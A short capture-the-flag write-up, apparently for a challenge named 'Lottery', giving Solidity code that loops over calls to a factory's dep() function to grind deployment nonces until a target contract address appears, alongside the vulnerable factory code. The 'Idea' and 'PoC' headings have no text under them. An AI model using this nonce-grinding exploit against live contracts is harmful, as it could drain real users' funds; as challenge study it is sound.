✅Lottery
Idea
for (uint256 i = 0; i < 100; i++) {
address deployedAddress = factory.dep(_code);
console.log("deployedAddress: ", deployedAddress);
console.log("attacker balance: ", attacker.balance);
if (deployedAddress == 0x0A1EB1b2d96a175608edEF666c171d351109d8AA) {
console.log("Found! nonce is: ", i);
break;
}
} function dep(bytes memory _code) public payable returns (address x) {
require(msg.value >= 10 ether);
assembly {
x := create(0, add(0x20, _code), mload(_code))
}
if (x == address(0)) payable(msg.sender).transfer(msg.value);
}PoC
Last updated